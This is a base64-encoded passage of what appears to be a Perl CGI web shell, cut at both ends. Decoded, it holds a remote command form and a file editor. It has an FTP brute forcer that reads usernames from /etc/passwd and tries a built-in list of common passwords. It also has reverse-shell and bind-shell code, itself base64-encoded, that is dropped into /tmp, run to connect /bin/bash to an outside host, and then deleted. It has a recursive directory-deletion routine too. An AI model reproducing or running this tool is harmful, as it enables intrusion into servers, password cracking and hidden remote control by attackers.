1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgk